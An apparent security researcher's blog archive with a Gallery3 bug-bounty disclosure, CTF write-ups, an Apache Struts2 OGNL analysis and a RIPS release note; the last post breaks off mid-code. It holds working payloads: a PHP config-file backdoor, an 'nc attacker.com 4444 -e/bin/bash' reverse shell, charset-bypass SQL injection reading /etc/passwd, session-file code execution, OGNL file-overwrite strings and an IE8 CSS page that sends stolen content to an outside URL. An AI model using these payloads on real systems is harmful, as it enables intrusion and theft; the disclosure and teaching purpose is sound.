Gallery Project 3.0.4 BugBounty: Remote Code Execution (admin)

March 6, 2013

The Gallery Project is a photo album organizer written in PHP which is part of a BugBounty program. When launching the Gallery3 web application it is checked whether the configuration file /gallery3/var/database.php is present. If not, the installation routine is initiated which in the end creates this configuration file. Otherwise the application launches normally.

During the installation process it is possible to inject arbitrary PHP code into the database config file, leading to Remote Code Execution (RCE) on the target web server. For successful exploitation by an remote attacker it is required that the installation routine has not yet been completed on the web server.

However, another vulnerability in the administrator interface allows to delete arbitrary files. Thus, it is possible for an administrator to delete the database.php file with this second vulnerability, redo the installation, and inject a PHP backdoor with the first vulnerability. A XSS vulnerability (also reported in this release) can be used to gain admin privileges.

user —XSS—> admin –FILEDELETE–> installer —RCE—> shell

Vulnerability 1 – Code Execution

In /gallery3/installer/web.php line 35 and the following the $config values are filled with data supplied by the user:

$config = array("host" => $_POST["dbhost"],
                "user" => $_POST["dbuser"],
                "password" => $_POST["dbpass"],
                "dbname" => $_POST["dbname"],
                "prefix" => $_POST["prefix"],
                "type" => function_exists("mysqli_set_charset") ? "mysqli" : "mysql");

To avoid code injection, single quotes within the password are escaped in /gallery3/installer/web.php line 44:

    foreach ($config as $k => $v) {
      if ($k == "password") {
        $config[$k] = str_replace("'", "\\'", $v);
      } else {
        $config[$k] = strtr($v, "'`", "__");
      }
    }

The database credentials are then used to setup the Gallery3 database and if everything worked well, the credentials are copied into the configuration file template (/gallery3/installer/database_config.php) which uses single quotes around the credential strings.

$config['default'] = array(
  'benchmark'     => false,
  'persistent'    => false,
  'connection'    => array(
    'type'     => '<?php print $type ?>',
    'user'     => '<?php print $user ?>',
    'pass'     => '<?php print $password ?>',
    'host'     => '<?php print $host ?>',

A single quote in the password will be replaced to \’. However, if an attacker injects a backslash followed by a single quote \’ the resulting string is \\’. Now the backslash is escaped, leaving the single quote unescaped.

With this trick it is possible to break out of the single quotes and inject malicious PHP code into the /gallery3/var/database.php configuration file. This file is included by the Gallery3 core application which will execute the injected PHP code on every visited subpage.

To exploit the vulnerability an attacker can create a MySQL user on an external server with the following password:

\\',"f"=>system($_GET[c]),//

During the installation process he specifies his external MySQL server and enters the following password:

\',"f"=>system($_GET[c]),//

Due to the escaping a backslash is added to the password, transforming it to a valid database credential and the database configuration file will contain the following backdoored PHP code:

$config['default'] = array(
	'benchmark'	=> false,
	'persistent'	=> false,
	'connection'	=> array(
		'type'	=> 'mysqli',
		'user'	=> 'reiners',
		'pass'	=> '\\',"f"=>system($_GET[c]),//',
		'host'	=> 'attacker.com',

Then the attacker sets his MySQL password to \\ to not break the application and is now able to execute arbitrary PHP code on the target webserver.

RCE in Gallery3

RCE in Gallery3

This bug was rated as moderate/major by the Gallery3 team and was rewarded with $700.

Vulnerability 2 – Arbitrary File Delete

Because an uninstalled instance of Gallery3 is unlikely to be found, an attacker is interested in deleting the database.php configuration file to gain access to the vulnerable installer again. A vulnerability that allows to delete any file on the server was found in the Gallery3 administration interface.

The Watermark module is shipped by default with Gallery3 and can be activated in the modules section of the administration interface. After a watermark image file has been uploaded, the name of the watermark image file can be altered in the advanced settings section. The altered file name is used when deleting the watermark image file again. The delete function of the watermark module in /modules/watermark/controllers/admin_watermarks.php suffers from a Path Traversal vulnerability in line 70:

  public function delete() {
    access::verify_csrf();

    $form = watermark::get_delete_form();
    if ($form->validate()) {
      if ($name = module::get_var("watermark", "name")) {
        @unlink(VARPATH . "modules/watermark/$name");

Here, the altered $name of the image file is used unsanitized. To delete the configuration file a malicious administrator can change the watermark image file name to ../../database.php and delete the watermark file. Further, log files and .htaccess files can be deleted.

This bug was not rated as a security bug by the Gallery3 team. Although I did not endorse this rating I think this vulnerability helped to improve the rating of vulnerability 1.

Bonus

The Gallery 3.0.4 packager uses the MySQL database credentials provided during installation unsanitized in a shell command. An attacker who is able to enter/change the database credentials can inject arbitrary shell commands which will be executed on the target web server if the packager is locally executed later on.

In /gallery3/modules/gallery/controllers/packager.php line 97 the following command is executed to dump the database:

    $command = "mysqldump --compact --skip-extended-insert --add-drop-table -h{$conn['host']} " .
      "-u{$conn['user']} $pass {$conn['database']} > $sql_file";
    exec($command, $output, $status);

However, the database credentials supplied by the user on installation are used unsanitized in the shell command, allowing arbitrary command execution. A malicious admin can use vulnerability 2 to gain access to the installer and specify the following database password (not affected by escaping):

1 ;nc attacker.com 4444 -e/bin/bash;

If the password is valid on a specified remote MySQL server the password is written to the database.php configuration file. Once the packager is executed with the local shell command php index.php package later on, the following command is executed by the application:

mysqldump --compact --skip-extended-insert --add-drop-table -hattacker.com -ureiners -p1 ; 
nc attacker.com 4444 -e/bin/bash;

The attacker listens on port 4444, receives the remote shell connection and is able to execute arbitrary commands on the target web server. However, a local administrator has to execute the packager command on the target web server which requires social engineering. This bug was rated as minor by the Gallery3 team and was rewarded with $100.

All bugs were found with the help of RIPS and are patched in the latest Gallery 3.0.5 release.


Secuinside CTF writeup SQLgeek

June 12, 2012

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

if($_GET[view])
{
	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
	if(strlen($_GET[view])>17) 
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	...
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");
}

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:

/index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:

/var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php

2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:

<?php
session_start();

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);
?>

Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

<?
@session_start(); include "conn.php";
extract($_GET);
?>

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:

PHPSESSID|s:7:"reiners";

If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[0] => ReADDDDDDD______MEEEEEEEEEEEEE.php 
	[1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 
)";

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy ;) The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:

bef6d0c8cd65319749d1ecbcf7a349c0

A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them :)

update:

BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.


Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java

January 4, 2012

This post was voted as 2nd best in the Top 10 Web Hacking Techniques of 2011 poll.

Introduction

Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter id was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses:

request response
?id=abc abc
?id=abc’
?id=abc’||’def
?id=abc’+’def abcdef

Ok that looked promising. SQLi here we go:

request response
?id=abc’+/**/’def
?id=abc’+(select 1)+’def
?id=abc’+(select 1 from dual)+’def

Hmm, comments and subselect does not work? Maybe table name missing in MS Access? Defaults did not work. What comment types are available?

request response
?id=abc’%00
?id=abc’;%00
?id=abc’– -

No luck, so I started from the beginning:

request response
?id=abc’+’def abcdef
?id=abc’+1+’def abc1def
?id=abc’+(1)+’def abc1def
?id=abc’+a+’def abcnulldef

Wooty? That was really interesting. No DBMS would return null for an unknown column. Obviously a uninitialized variable was parsed here. I even could access another given parameter:

request response
?id=abc’+name+’def&name=foo abcfoodef

This was a Java app so I tried some more stuff and this one worked to my suprise:

request response
?id=abc’+(new java.lang.String(“foo”))+’def abcfoodef

Remote Java code execution? This is not even possible without really dirty tricks (compilation on the fly) I thought. A few hours later I was investigating the Java source code and saw that the application was using Apache Struts 2.2.2.1.

Apache Struts2, XWork and OGNL

Apache Struts2 is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork’s ParametersInterceptor treats parameter names provided to actions as OGNL expressions. In example the parametername within the request to HelloWorld.action?parametername=1 is evaluated as OGNL expression.
A OGNL (Object Graph Navigation Language) expression is a limited language similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like product.id=1 the OGNL parser will call the appropiate setter getProduct().setId(1) in the current action context. OGNL is also able to call abritrary methods, constructors and access context variables.

Apache Struts2 vulnerabilities in the past

To prevent attackers calling arbitrary Java methods within parameters the flag xwork.MethodAccessor.denyMethodExecution is set to true and the SecurityMemberAccess field allowStaticMethodAccess is set to false by default.
Before Struts 2.2.2.1 it was possible to bypass these security flags and execute arbitrary commands within the parameter name. You can find all the details for the Pwnie award winning vulnerability here. Summarized, it was possible to access and change the security flags leaving the attacker with all the power that OGNL comes with. The fix in Struts 2.2.2.1 was to apply a tightened character whitelist to XWork’s ParametersInterceptor, that prevents injecting the hashtag # and the backslash \ (for encoding the hashtag) and therefore prevents the access to the security flags.

acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

The introduced remote code execution worked because it occured during an exception that is triggered when Struts tries to set a property of type Integer or Long with a value of type String. Then the value was evaluated as OGNL expression again – maybe to force an attempt to retrieve a correct data type after evaluation. Since only the parameter names are limited by a character whitelist, arbitrary OGNL and thus arbitrary Java code could be executed.
Unfortunetly for me, the bug had been already reported two month earlier and was fixed (almost silently) in Struts 2.2.3.1. You can find a list of all security bulletings for Struts here. Reason enough to have another look.

New Apache Struts2 vulnerabilities

The first obvious step was to look for code where OGNL expressions supplied by the user are evaluated without the character whitelist applied. This happens in the CookieInterceptor (in all versions below 2.3.1.1) leading to remote code execution when Struts is configured to handle cookies.

The next step was to look if the character whitelist applied to the parameter names is strong enough and what can be done with the available characters. Within parameters everything is handled as getter and setter. However there are two ways to inject own OGNL expressions. The first is to use dynamic function names that are evaluated before execution like in (‘ognl’)(x)=1 or you can use list indexes that are evaluated before used as in x[ognl]=1.
However you can not call arbitrary methods like x[@java.lang.System@exec('calc')]=1 because the security flag for allowStaticMethodAccess is disabled and the character @ (symbolizing static method access in OGNL) is not whitelisted. You can only access setters with only one parameter (the comma , is also not whitelisted) by providing name=foo or x[name('foo')]=1 that will both call the setter setName(‘foo’).

Then we found out you can also call constructors with one parameter with x[new java.lang.String('foo')]=1. This leads to a arbitrary file overwrite vulnerability when calling the FileWriter constructor x[new java.io.FileWriter('test.txt')]=1. To inject the forbidden slash / character into the filename one can use a existent property of type String, in example x[new java.io.FileWriter(message)]=1&message=C:/test.txt. FileWriter will automatically create an empty file or overwrite an existing one.

A detailed description of all vulnerabilities with example code and PoC can be found in our advisory.

Property oriented programming with Java

Sorry for the buzzword ;) But maybe you can already imagine what the idea is. We can call arbitrary constructors and we can call setters. The next step is to look for classes that have malicious constructors (with only one parameter) or malicious setters (with only one parameter) or maybe even both. We can create arbitrary files by calling new java.io.FileWriter(‘test.txt’) but we cannot call java.io.FileWriter(‘test.txt’).write(‘data’) because denyMethodExecution is enabled and OGNL would try to call the setter setWrite(‘data’) on the FileWriter object. However if we find a class that opens a file within its constructor and writes data within a setter we could turn the arbitrary file overwrite vulnerability into a file upload vulnerability.

So I downloaded lots of Apache Commons libraries and wrote some regexes to find interesting gadgets. Useful gadgets would be classes with public constructors having only one parameter:

"/public\s*[A-Za-z]*\s*$classname\s*\(([A-Za-z0-9_]+\s+[^,\s]+|\s*)\)\s*{[^}]*}/"

and having at least one setter with only one parameter:

"/public.*set[A-Za-z0-9_]+\s*\((String|long|int|\s*)\s*[^,]*\)\s*{/"

In Struts, XWork, OGNL and 9 additional Apache Commons libraries 239 classes with a public constructor and a total of 669 setters could be found.

Example 1

To my suprise I found exactly what I was looking for in the class PrettyPrintWriter shipped with Struts itself:

package org.apache.struts2.interceptor.debugging;

public class PrettyPrintWriter {
 [...]
    // constructors with 3, 2 and 1 parameter
    public PrettyPrintWriter(Writer writer, char[] lineIndenter, String newLine) {
        this.writer = new PrintWriter(writer);
        this.lineIndenter = lineIndenter;
        this.newLine = newLine;
    }

    public PrettyPrintWriter(Writer writer, char[] lineIndenter) {
        this(writer, lineIndenter, "\n");
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter, String newLine) {
        this(writer, lineIndenter.toCharArray(), newLine);
    }

    public PrettyPrintWriter(Writer writer, String lineIndenter) {
        this(writer, lineIndenter.toCharArray());
    }

    // constructor with only one parameter that accepts our FileWriter
    public PrettyPrintWriter(Writer writer) {
        this(writer, new char[]{' ', ' '});
    }

    // setter that will call write() on our FileWriter()
    public void setValue(String text) {
        readyForNewLine = false;
        tagIsEmpty = false;
        finishTag();

        writeText(writer, text);
    }

   protected void writeText(PrintWriter writer, String text) {
        writeText(text);
    }

    // write text to writer object
    private void writeText(String text) {
        int length = text.length();
        for (int i = 0; i < length; i++) {
            char c = text.charAt(i);
            switch (c) {
                case '\0':
                    this.writer.write(NULL);
                    break;            
                [...]
                default:
                    this.writer.write(c);
            }
        }
    }
 [...]
}

Perfect. We can create a new PrettyPrintWriter with the public constructor:

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter()]

We use the constructor in line 25 that accepts only one parameter (remember that the comma is not whitelisted) of type Writer (FileWriter is a subclass of Writer):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt'))]=1

This will save our FileWriter object to this.writer (line 7). Now we call the method value on our PrettyPrintWriter object and OGNL will try to call the setter setValue which indeed exists (line 30):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt')).value('data')]=1

The call of setValue will in the end call writeText that will call a write (line 53) with our data to our FileWriter object. Then we could write arbitrary data to arbitrary files, in example uploading a JSP shell.

However that did not work. I thought the problem was that the file was never flushed or closed so I added another trick:

foobar=AAAAAAAA…&x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.BufferedWriter(new java.io.FileWriter('test026.txt'))).value(foobar)]=1

The FileWriter is now wrapped in a BufferedWriter (a direct subclass of Writer). The documentation says that the buffer will be flushed automatically after 8.192 characters. So I tried sending 9.000 characters via HTTP POST to automatically flush the buffer but in the end it still did not work. Later I found out that OGNL did not accept setValue as a valid setter because the property value does not exist in PrettyPrintWriter.

Example 2

There is tons of abusable code within OGNL to execute arbitrary code, you just have to find the right set of public constructors and setters. In example Struts class ContextBean:

package org.apache.struts2.components;

public abstract class ContextBean extends Component {
    protected String var;
    
    public ContextBean(ValueStack stack) {
        super(stack);
    }

    public void setVar(String var) {
        if (var != null) {
            this.var = findString(var);
        }
    }
}

If you can create your own ValueStack object (required in the constructor in line 6 and for OGNL evaluation) you can call the setter setVar (line 10) which is a real setter because the property var exists (line 4). The setter setVar will then call findString (line 12) that in the end will execute a OGNL expression, which can be provided by another parameter value (which is not filtered):

x[new org.apache.struts2.components.ContextBean(new com.opensymphony.xwork2.util.ValueStack()).var(foobar)]=1
&foobar=OGNL expression

The problem in this example is to create a ValueStack with a constructor that has only one parameter to avoid the filtered comma. The class com.opensymphony.xwork2.util.ValueStack itself does not provide such a constructor, however their might be other classes with reduced constructors like in the first example.

You get the idea of “property oriented programming” ;) If you find anything cool please let me know. However note that all new vulnerabilities and the presented techniques are prevented in the new Struts 2.3.1.1 because whitespaces are not whitelisted anymore and you cannot access constructors anymore.

All Struts users should update to Struts 2.3.1.1.


Project RIPS v0.50 – Status

December 31, 2011

I just released a new version of RIPS, my static analysis tool for vulnerabilities in PHP applications. You can find it at www.phpscan.net or www.phpscanner.net. A lot of things have changed and got improved but still a lot of things have to be done. Anyway, the new version is a huge step towards scanning large PHP projects.

Whats new

A major change is that RIPS now parses PHP code by instructions and not by lines anymore. This is much much more effective and accurate. Parsing code line by line worked out well for the most projects but also introduced a lot of bugs that are now fixed. RIPS is now even able to parse obfuscated PHP code and PHP backdoors.
Also I put a lot of work into the handling of arrays. In detail: [indexes] behind a variable are now removed and added to the variable token seperatly which allows much more accurate semantic parsing of connected tokens. The index value can now be reconstructed recursively and compared to other index values.
Finally RIPS is able to scan large open source projects (non-OOP). A new feature showing the current scan status and the current file that is scanned as well as a approximated timeleft supports this.
A new feature called leakscan is added that is able to detect if the output of a sensitive sink is returned to the user. In example this helps to detect where the result of your SQL Injection is printed or embedded to a header or if you have to use blind SQL Injection techniques.

Whats coming

A new release will ship a lot more documentation what RIPS has actually found and why this is a vulnerability. By now RIPS helps to understand the vulnerability type but a lot of vulnerabilities are very special so that a description for every single sensitive sink makes sense.
The next big step is to implement a initial preparsing phase where functions and their properties are indexed. After this phase all function calls can be interpreted correctly. By now, RIPS still scans top down and misses functions that are called before they are actually declared in the code. With this new structure several bugs regarding securing and quote analysis can be fixed. Then the support of object oriented programming (OOP) code can be added. Also the graphs have to be improved a lot.

Again, if you have any feedback, feature requests, false positives/negatives or code that will make RIPS struggle/hang please contact me.

Happy new year everyone !!! :)


hack.lu CTF 2011 challenge writeup – Secret Space Code

September 27, 2011

Secret Space Code (SSC) was another web challenge I prepared for the hack.lu 2011 conference CTF. Because we experienced that web challenges are one of the most solved challenge categories during the last CTFs we participated and organized we decided to provide some tough ones.
SSC was about a client-side vulnerability in IE8 that has been patched in December 2010 without any big attention. However I felt this was a cool vulnerability and worth a 500 points challenge. The challenge text was:

The Secret Space Code (SSC) database holds a list of all space shuttle captains and their missile launch codes. You have stolen the X-wing Fighter “Incom T-65″ from captain Cardboard and you need the missile launch codes for a crazy joyride. You have heard that the SSC admin (twitter: @secretspacecode) is from redmoon where they only use unpatched Internet Explorer 8 …

hint: Client-side challenges are error-prone. Practice your attack locally before sending a link to the SSC admin via private message.

After we got some metasploit tainted links we added the hint that “client-side” was referred to vulnerabilities like CSRF and XSS and not to client-side stack smashing ;) Otherwise the challenge would not have been filed under the category web.
When visiting the challenge website there was only a password prompt. The first and easy task was – as in many other challenges – to detect the source code file index.phps:

<?php
error_reporting(0);
header('Server: Secret Space Codes');
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 1; mode=block');
session_start();
?>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
	<title>Secret Space Codes - Database</title>
</head>

<body>
<div id="main">
<h1>Secret Space Codes Database</h1>
<?php
require 'config.php';

if(isset($_GET['pass']))
{
	if($_GET['pass'] === $password)
	{
		$_SESSION['logged'] = true;
	} else
	{
		$_SESSION['logged'] = false;
		echo '<p>Wrong password, get lost in space!</p>',"\n";
	}
}

if(isset($_SESSION['logged']) && $_SESSION['logged'] === true)
{
	$conn = mysql_connect($Host, $User, $Password) 
		or die("Error: Can not connect to database. Challenge broken");

	mysql_select_db($Database, $conn) 
		or die("Error: Can not select database. Challenge broken");
		
	$where = '';
	echo '<form action="">',"\n",
	'<table>',"\n",
	'<tr>',"\n",'<td><input type="text" name="captain" value="';
	if(isset($_GET['captain']))
	{
		echo htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		$captain = str_replace('all', '%', $_GET['captain']);
		$captain = mysql_real_escape_string($captain, $conn);
		$where.= "WHERE captain like '%$captain%' ";
	} else
	{
		echo 'all';
	}
	echo '" /></td>',"\n",'<td><select name="o">';
	if(isset($_GET['o']) && preg_match('/^(ASC|DESC)$/im', $_GET['o']))
	{	
		if(strtolower($_GET['o']) === 'asc')
			echo '<option selected>asc</option>',
			'<option>desc</option>';
		else if(strtolower($_GET['o']) === 'desc')
			echo '<option>asc</option>',
			'<option selected>desc</option>';	
			$where.= "ORDER BY captain ".$_GET['o'];
	} else
	{
		echo '<option>asc</option>',
			'<option>desc</option>';
	}
	echo '</select></td>',"\n",
	'<td><input type="submit" value="search" /></td>',"\n",
	'</tr>',"\n",
	'</table>',"\n",
	'</form>',"\n";
	$result = mysql_query("SELECT captain,code FROM captains $where", $conn);
	echo '<p>Result for captain '.htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
	if(isset($_GET['o'])) 
		echo ' ('.htmlentities($_GET['o'], ENT_QUOTES, 'utf-8').'ending)';
	echo '</p>',"\n",
	'<table>',"\n",
	'<tr><th>captain</th><th>code</th></tr>',"\n";
	if(!mysql_error() && mysql_num_rows($result) > 0)
	{
		for($i=0; $i<mysql_num_rows($result); $i++)
		{
			if(!($row = mysql_fetch_array($result)))
			{
				die("Error. Challenge broken.");
			}
			$captain = htmlentities($row['captain'], ENT_QUOTES, 'utf-8');
			$code = htmlentities($row['code'], ENT_QUOTES, 'utf-8');
			echo "<tr><td>$captain</td><td>$code</td></tr>\n";
		}	
	} else
	{
		echo '<tr><td colspan="2">No codes found.</td></tr>',"\n";
	}
	echo '</table>',"\n";

} else
{
	echo '<form action="" method="GET">',"\n",'<table>',"\n",
	'<tr><th colspan="2">Login</th></tr>',"\n",
	'<tr><td>password:</td><td><input type="password" name="pass" value="" /></td></tr>',"\n",
	'<tr><td colspan="2" align="right"><input type="submit" value="login" /></td></tr>',"\n",
	'</table>',"\n",'</form>',"\n";
}	
?>	
</div>

</body>
</html>

The source code shows that after providing the right password the admin is logged in by session and gets a list of all captains and their codes. He also has the option to search for a specific captain and to order the list by GET parameter o ascending or descending. However there is no SQLi or XSS vulnerability. Everything is escaped and encoded correctly. The password was a 32 character long string and could not be guessed or bruteforced.
Anyway an attacker could steal the secrets knowing that his victim runs IE8. A very cool cross-domain leakage was published by scarybeast in September 2010 that could be used like the following to steal the missile launch codes from all captains:

  1. We reflect the following CSS via the GET parameter o:
    {}body{font-family:{
    

    That is possible because we only need braces that are not encoded by htmlspecialchars() and similar functions. Note that this means that every webapp is vulnerable to this attack as long as braces are not explicitly encoded.

  2. We load the webpage with our reflectively injected CSS as CSS resource:
    <link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    

    That is possible due to the lax IE8 CSS parsing. The first two braces make sure that every HTML content before our CSS is treated as (broken) CSS. Then our CSS starts where we define everything that follows in the HTML output as the body font-family. Because the IE8 parser will not find an ending brace it will include everything to the font-family until the end of file is reached.

  3. Now we have loaded the remote website with the whole content defined as font-family we simply access the currently computed font-family name and get the password protected content, when our victim is logged in and visits our prepared HTML webpage:
    <html>
    <head>
    	<link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    </head>
    <body>
    <script>
    function getStyle() {
    	var html = document.body.currentStyle.fontFamily;
    	//alert(html);
    	document.location.href="http://www.fluxfingers.net/?log="+encodeURIComponent(html);
    }
    window.setTimeout(getStyle, 2000);
    </script>
    </body>
    </html>
    

    We also set a timeout in case loading the remote site as CSS resource takes some time.

The code for captain Cardboard was F15-F29-F32-F65-F17-F22. For more information about this attack read scarybeasts blogpost or this paper. Note that this can only be reproduced with an unpatched IE8. Alternatively you can add the prepared HTML page to your trusted zone which will bypass the patch.
As almost expected nobody solved this challenge most likely because the attack has not got much attention. However knowing that it is IE8 specific one could have looked at the recent IE8 patches. Also SSC is backwards for CSS and could have got you in the right direction (scarybeasts blogpost is the second hit when googling “IE8 css security”). Thanks to .mario for bringing this vuln to my attention.


hack.lu CTF 2011 challenge writeup – AALabs (Part 1)

September 26, 2011

As last year our CTF team FluxFingers organized the hack.lu conference CTF. Again the CTF was open to participants all over the world.

As last year I prepared some web challenges designed in this years topic “space”. The challenge AALabs was about a website of a Asteroid Analysis Laboratory where you could create an account and upload asteroid meta data files for analysis. As a result a graph was shown to the user that summerized the amount of different material detected in that asteroid.

The challenge text was:

You have stolen the administrators password hashes from AALabs – a profitable technology center in outer space. However you were not able to crack them yet. Can you find out the salt?

Similar to last years web challenge you had to use different techniques to get the salt. At first you had to create an account with a unique username, your password and several other info about yourself. The AALabs webapp then internally created the new directory /home/files/username/ to later upload your files to a unique directory. Also the webapp added the user to the database for authentication and file authorization.
After registration you could login and upload your asteroid meta files. Once successfully uploaded, your file was listed in the analysis table with the option to delete the file and to create an analysis report.

Here one could find a SQL injection. By uploading a file named foobar the following SQL error was triggered when creating a report:

Query failed: UPDATE metafiles SET reportfile = ‘/home/files/username/foobar.report’ WHERE id = 7 AND userid = 3

Obviously the file name was escaped correctly when INSERTed into the table of uploaded files. However when creating a report and saving the new report file name (that includes the original file name) the name was not escaped correctly and the error was triggered during the UPDATE statement.
The trick here was to closely look at this error message before trying to exploit the SQL injection. It reveals the behavior that has been described above: the webapp operates with a directory that includes your username. Since it generates your report files in /home/files/username/ with your uploaded file name and the appended .report extension, it is very likely that it also uploads your file to the same directory /home/files/username/. That is safe at the first glance because the directory /home/files/ can not be accessed via webserver and many teams continued to investigate the SQL injection. However the SQL injection itself was a dead end because important characters like parenthesis were filtered. The SQL injection was actually a Information Leakage.
The trick was to register a new account with a Path Traversal in your username such as ../../var/www/Reiners. Doing so forces the webapp to upload your files into the webdirectory /var/www/ and your subdirectory Reiners/. After that you could simply upload your PHP shell to the webdirectory and access it by browser. Since the safe_mode was enabled (we will come back to that later in part 2) you had to use file functions for further investigation, for example:

<?php
// Listing all files in a directory:
print_r(scandir('/var/www/'));
// read the configuration file that includes the salt:
